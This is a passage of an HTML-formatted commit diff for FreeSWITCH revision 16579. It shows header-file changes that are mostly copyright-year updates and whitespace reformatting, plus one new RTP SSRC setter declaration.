</span><span class="cx">                                                                                                 uint32_t max_digits,
</span><span class="cx">                                                                                                 const char *prompt_audio_file,
</span><span class="cx">                                                                                                 const char *var_name,
</span><del>-                                                                                                char *digit_buffer,
-                                                                                                switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
</del><ins>+                                                                                                char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_bind_dtmf_meta_session(switch_core_session_t *session, uint32_t key,
</span><span class="cx">                                                                                                                                   switch_bind_flag_t bind_flags, const char *app);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_loadable_moduleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_loadable_module.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_loadable_module.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_loadable_module.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -268,7 +268,7 @@
</span><span class="cx">   \param filename the path to the module's dll or so file
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS on a successful load
</span><span class="cx"> */
</span><del>-SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t **module_interface, char *filename);
</del><ins>+SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t ** module_interface, char *filename);
</ins><span class="cx"> SWITCH_MOD_DECLARE(switch_status_t) switch_module_runtime(void);
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -325,14 +325,15 @@
</span><span class="cx">                 break;                                                                                                                        \
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
</del><ins>+         static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t max_ms = 0, ptime_div = 0;
</span><span class="cx"> 
</span><span class="cx">         switch (rate) {
</span><span class="cx">         case 22050:
</span><span class="cx">         case 11025:
</span><del>-                if (ptime &lt; 120) return 1;
</del><ins>+                if (ptime &lt; 120)
+                        return 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case 48000:
</span><span class="cx">                 max_ms = 40;
</span><span class="lines">@@ -350,13 +351,13 @@
</span><span class="cx">         case 8000:
</span><span class="cx">                 max_ms = 120;
</span><span class="cx">                 ptime_div = 2;
</span><del>-                break;                
</del><ins>+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (max_ms &amp;&amp; ptime_div &amp;&amp; (ptime &lt;= max_ms &amp;&amp; (ptime % ptime_div) == 0) &amp;&amp; ((rate / 1000) * ptime) &lt; SWITCH_RECOMMENDED_BUFFER_SIZE) {
</span><span class="cx">                 return 1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -420,7 +421,7 @@
</span><span class="cx">                 impl-&gt;impl_id = switch_core_codec_next_id();
</span><span class="cx">                 codec_interface-&gt;implementations = impl;
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Rejected codec name: %s rate: %u ptime: %u\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Rejected codec name: %s rate: %u ptime: %u\n&quot;,
</ins><span class="cx">                                                   iananame, actual_samples_per_second, microseconds_per_packet / 1000);
</span><span class="cx">         }
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_logh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_log.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_log.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_log.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -114,9 +114,8 @@
</span><span class="cx">   \see switch_types.h
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_vprintf(_In_ switch_text_channel_t channel, _In_z_ const char *file,
</span><del>-                                                                           _In_z_ const char *func, _In_ int line,
-                                                                           _In_opt_z_ const char *userdata, _In_ switch_log_level_t level,
-                                                                                const char *fmt, va_list ap);
</del><ins>+                                                                                _In_z_ const char *func, _In_ int line,
+                                                                                _In_opt_z_ const char *userdata, _In_ switch_log_level_t level, const char *fmt, va_list ap);
</ins><span class="cx"> 
</span><span class="cx"> #endif
</span><span class="cx"> /*! 
</span><span class="lines">@@ -144,7 +143,7 @@
</span><span class="cx"> #define switch_log_check_mask(_mask, _level) (_mask &amp; (1 &lt;&lt; _level))
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node);
</del><ins>+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node);
</ins><span class="cx"> SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode);
</span><span class="cx"> 
</span><span class="cx"> ///\}
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_module_interfacesh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_module_interfaces.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_module_interfaces.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_module_interfaces.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -45,7 +45,7 @@
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><span class="cx"> /*! \brief A table of functions to execute at various states 
</span><span class="cx">  */
</span><del>-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_SHN_ON_INIT,
</span><span class="cx">         SWITCH_SHN_ON_ROUTING,
</span><span class="cx">         SWITCH_SHN_ON_EXECUTE,
</span><span class="lines">@@ -106,7 +106,27 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> typedef switch_call_cause_t (*switch_io_outgoing_channel_t)
</span><del>-(switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t, switch_call_cause_t *);
</del><ins>+ 
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t,
+         switch_call_cause_t *);
</ins><span class="cx"> typedef switch_status_t (*switch_io_read_frame_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
</span><span class="cx"> typedef switch_status_t (*switch_io_write_frame_t) (switch_core_session_t *, switch_frame_t *, switch_io_flag_t, int);
</span><span class="cx"> typedef switch_status_t (*switch_io_kill_channel_t) (switch_core_session_t *, int);
</span><span class="lines">@@ -441,7 +461,7 @@
</span><span class="cx">         switch_audio_resampler_t *resampler;
</span><span class="cx">         switch_buffer_t *buffer;
</span><span class="cx">         switch_byte_t *dbuf;
</span><del>-        switch_size_t dbuflen;        
</del><ins>+        switch_size_t dbuflen;
</ins><span class="cx">         /*! the current samplerate */
</span><span class="cx">         uint32_t samplerate;
</span><span class="cx">         /*! the current native samplerate */
</span><span class="lines">@@ -470,7 +490,7 @@
</span><span class="cx">         /*! the name of the interface */
</span><span class="cx">         const char *interface_name;
</span><span class="cx">         /*! function to open the directory interface */
</span><del>-        switch_status_t (*chat_send) (const char *proto, const char *from, const char *to, 
</del><ins>+        switch_status_t (*chat_send) (const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                   const char *subject, const char *body, const char *type, const char *hint);
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         int refs;
</span><span class="lines">@@ -680,8 +700,8 @@
</span><span class="cx">         struct switch_api_interface *next;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it-&gt;reflock); switch_thread_rwlock_rdlock(_it-&gt;parent-&gt;rwlock); switch_thread_rwlock_rdlock(_it-&gt;rwlock); _it-&gt;refs++; _it-&gt;parent-&gt;refs++; switch_mutex_unlock(_it-&gt;reflock);} //if (!strcmp(_it-&gt;interface_name, &quot;user&quot;)) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;+++++++++++LOCK %s %d/%d\n&quot;, _it-&gt;interface_name, _it-&gt;refs, _it-&gt;parent-&gt;refs);
-#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it-&gt;reflock); switch_thread_rwlock_unlock(_it-&gt;rwlock); switch_thread_rwlock_unlock(_it-&gt;parent-&gt;rwlock); _it-&gt;refs--; _it-&gt;parent-&gt;refs--; switch_mutex_unlock(_it-&gt;reflock);} //if (!strcmp(_it-&gt;interface_name, &quot;user&quot;)) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;---------UNLOCK %s %d/%d\n&quot;, _it-&gt;interface_name, _it-&gt;refs, _it-&gt;parent-&gt;refs);
</del><ins>+#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it-&gt;reflock); switch_thread_rwlock_rdlock(_it-&gt;parent-&gt;rwlock); switch_thread_rwlock_rdlock(_it-&gt;rwlock); _it-&gt;refs++; _it-&gt;parent-&gt;refs++; switch_mutex_unlock(_it-&gt;reflock);}        //if (!strcmp(_it-&gt;interface_name, &quot;user&quot;)) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;+++++++++++LOCK %s %d/%d\n&quot;, _it-&gt;interface_name, _it-&gt;refs, _it-&gt;parent-&gt;refs);
+#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it-&gt;reflock); switch_thread_rwlock_unlock(_it-&gt;rwlock); switch_thread_rwlock_unlock(_it-&gt;parent-&gt;rwlock); _it-&gt;refs--; _it-&gt;parent-&gt;refs--; switch_mutex_unlock(_it-&gt;reflock);}        //if (!strcmp(_it-&gt;interface_name, &quot;user&quot;)) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;---------UNLOCK %s %d/%d\n&quot;, _it-&gt;interface_name, _it-&gt;refs, _it-&gt;parent-&gt;refs);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_mprintfh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_mprintf.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_mprintf.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_mprintf.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,7 +14,6 @@
</span><span class="cx"> #define SWITCH_MPRINTF_H
</span><span class="cx"> 
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> /**
</span><span class="cx">  * This routine is a variant of the &quot;sprintf()&quot; from the
</span><span class="cx">  * standard C library.  The resulting string is written into memory
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_nath"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_nat.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_nat.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_nat.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -38,9 +38,7 @@
</span><span class="cx"> #ifndef _SWITCH_NAT_H
</span><span class="cx"> #define _SWITCH_NAT_H
</span><span class="cx"> 
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-typedef enum {
</del><ins>+SWITCH_BEGIN_EXTERN_C typedef enum {
</ins><span class="cx">         SWITCH_NAT_TYPE_NONE,
</span><span class="cx">         SWITCH_NAT_TYPE_PMP,
</span><span class="cx">         SWITCH_NAT_TYPE_UPNP
</span><span class="lines">@@ -87,7 +85,8 @@
</span><span class="cx">  \param external_port [out] Mapped external port 
</span><span class="cx">  \param sticky make the mapping permanent
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port,
+                                                                                                           switch_bool_t sticky);
</ins><span class="cx"> /*!
</span><span class="cx">  \brief Has the NAT subsystem been initialized
</span><span class="cx"> */
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_odbch"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_odbc.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_odbc.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_odbc.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -34,11 +34,9 @@
</span><span class="cx"> 
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> 
</span><del>-SWITCH_BEGIN_EXTERN_C 
</del><ins>+SWITCH_BEGIN_EXTERN_C struct switch_odbc_handle;
+typedef void *switch_odbc_statement_handle_t;
</ins><span class="cx"> 
</span><del>-struct switch_odbc_handle;
-typedef void * switch_odbc_statement_handle_t;
-
</del><span class="cx"> typedef enum {
</span><span class="cx">         SWITCH_ODBC_STATE_INIT,
</span><span class="cx">         SWITCH_ODBC_STATE_DOWN,
</span><span class="lines">@@ -56,14 +54,11 @@
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_connect(switch_odbc_handle_t *handle);
</span><span class="cx"> SWITCH_DECLARE(void) switch_odbc_handle_destroy(switch_odbc_handle_t **handlep);
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_state_t) switch_odbc_handle_get_state(switch_odbc_handle_t *handle);
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
-                                                                                                                                        const char *sql,
-                                                                                                                                        char *resbuf,
-                                                                                                                                        size_t len,
-                                                                                                                                        char **err);
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+                                                                                                                         char **err);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err);
</ins><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_odbc_available(void);
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt);
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Execute the sql query and issue a callback for each row returned
</span><span class="lines">@@ -78,7 +73,8 @@
</span><span class="cx">   \note none
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line, switch_odbc_handle_t *handle,
</span><del>-                                                                                                                                                           const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err);
</del><ins>+                                                                                                                                                           const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+                                                                                                                                                           char **err);
</ins><span class="cx"> /*!
</span><span class="cx">   \brief Execute the sql query and issue a callback for each row returned
</span><span class="cx">   \param handle the ODBC handle
</span><span class="lines">@@ -92,7 +88,7 @@
</span><span class="cx">                 switch_odbc_handle_callback_exec_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, \
</span><span class="cx">                                                                                                   handle, sql, callback, pdata, err)
</span><span class="cx"> 
</span><del>-                                                                                                                                          
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, switch_odbc_statement_handle_t stmt);
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_platformh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_platform.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_platform.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_platform.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx"> #undef inline
</span><span class="cx"> #define inline __inline
</span><span class="cx"> #ifndef uint32_t
</span><del>-        typedef unsigned __int8 uint8_t;
</del><ins>+typedef unsigned __int8 uint8_t;
</ins><span class="cx"> typedef unsigned __int16 uint16_t;
</span><span class="cx"> typedef unsigned __int32 uint32_t;
</span><span class="cx"> typedef unsigned __int64 uint64_t;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_regexh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_regex.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_regex.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_regex.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx">  \param partial If non-zero returns SUCCESS if the target is a partial match, on successful return, this is set to non-zero if the match was partial and zero if it was a full match
</span><span class="cx">  \return Boolean if a match was found or not
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial_match);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial_match);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #define switch_regex_safe_free(re)        if (re) {\
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_resampleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_resample.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_resample.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_resample.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -51,7 +51,7 @@
</span><span class="cx">   \{ 
</span><span class="cx"> */
</span><span class="cx"> /*! \brief An audio resampling handle */
</span><del>-typedef struct {
</del><ins>+        typedef struct {
</ins><span class="cx">         /*! a pointer to store the resampler object */
</span><span class="cx">         void *resampler;
</span><span class="cx">         /*! the rate to resample from in hz */
</span><span class="lines">@@ -61,11 +61,11 @@
</span><span class="cx">         /*! the factor to resample by (from / to) */
</span><span class="cx">         double factor;
</span><span class="cx">         double rfactor;
</span><del>-    int16_t *to;
-    /*! the size of the to buffer used */
-    uint32_t to_len;
-    /*! the total size of the to buffer */
-    uint32_t to_size;
</del><ins>+        int16_t *to;
+        /*! the size of the to buffer used */
+        uint32_t to_len;
+        /*! the total size of the to buffer */
+        uint32_t to_size;
</ins><span class="cx"> 
</span><span class="cx"> } switch_audio_resampler_t;
</span><span class="cx"> 
</span><span class="lines">@@ -79,9 +79,7 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
</span><span class="cx">                                                                                                                            uint32_t from_rate, uint32_t to_rate, uint32_t to_size,
</span><del>-                                                                                                                           int quality,
-                                                                                                                           uint32_t channels,
-                                                                                                                           const char *file, const char *func, int line);
</del><ins>+                                                                                                                           int quality, uint32_t channels, const char *file, const char *func, int line);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #define switch_resample_create(_n, _fr, _tr, _ts, _q, _c) switch_resample_perform_create(_n, _fr, _tr, _ts, _q, _c, __FILE__, __SWITCH_FUNC__, __LINE__)
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_rtph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_rtp.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_rtp.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_rtp.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -45,8 +45,7 @@
</span><span class="cx"> #define SWITCH_RTP_KEY_LEN 30
</span><span class="cx"> #define SWITCH_RTP_CRYPTO_KEY_32 &quot;AES_CM_128_HMAC_SHA1_32&quot;
</span><span class="cx"> #define SWITCH_RTP_CRYPTO_KEY_80 &quot;AES_CM_128_HMAC_SHA1_80&quot;
</span><del>-
-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_RTP_CRYPTO_SEND,
</span><span class="cx">         SWITCH_RTP_CRYPTO_RECV,
</span><span class="cx">         SWITCH_RTP_CRYPTO_MAX
</span><span class="lines">@@ -54,7 +53,7 @@
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><span class="cx">         NO_CRYPTO,
</span><del>-        AES_CM_128_HMAC_SHA1_80, 
</del><ins>+        AES_CM_128_HMAC_SHA1_80,
</ins><span class="cx">         AES_CM_128_HMAC_SHA1_32,
</span><span class="cx">         AES_CM_128_NULL_AUTH
</span><span class="cx"> } switch_rtp_crypto_key_type_t;
</span><span class="lines">@@ -97,6 +96,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_port_t) switch_rtp_set_start_port(switch_port_t port);
</span><span class="cx"> 
</span><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc);
+
</ins><span class="cx"> /*!
</span><span class="cx">   \brief Set/Get RTP end port
</span><span class="cx">   \param port new value (if &gt; 0)
</span><span class="lines">@@ -166,7 +167,7 @@
</span><span class="cx">   \param port the remote port
</span><span class="cx">   \param err pointer for error messages
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</ins><span class="cx">                                                                                                                           switch_bool_t change_adv_addr, const char **err);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(char *) switch_rtp_get_remote_host(switch_rtp_t *rtp_session);
</span><span class="lines">@@ -183,8 +184,7 @@
</span><span class="cx">   \param err pointer for error messages
</span><span class="cx">   \note this call also binds the RTP session's socket to the new address
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host, 
-                                                                                                                         switch_port_t port, const char **err);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port, const char **err);
</ins><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="cx">   \brief Kill the socket on an existing RTP session
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_schedulerh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_scheduler.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_scheduler.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_scheduler.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_stunh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_stun.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_stun.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_stun.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
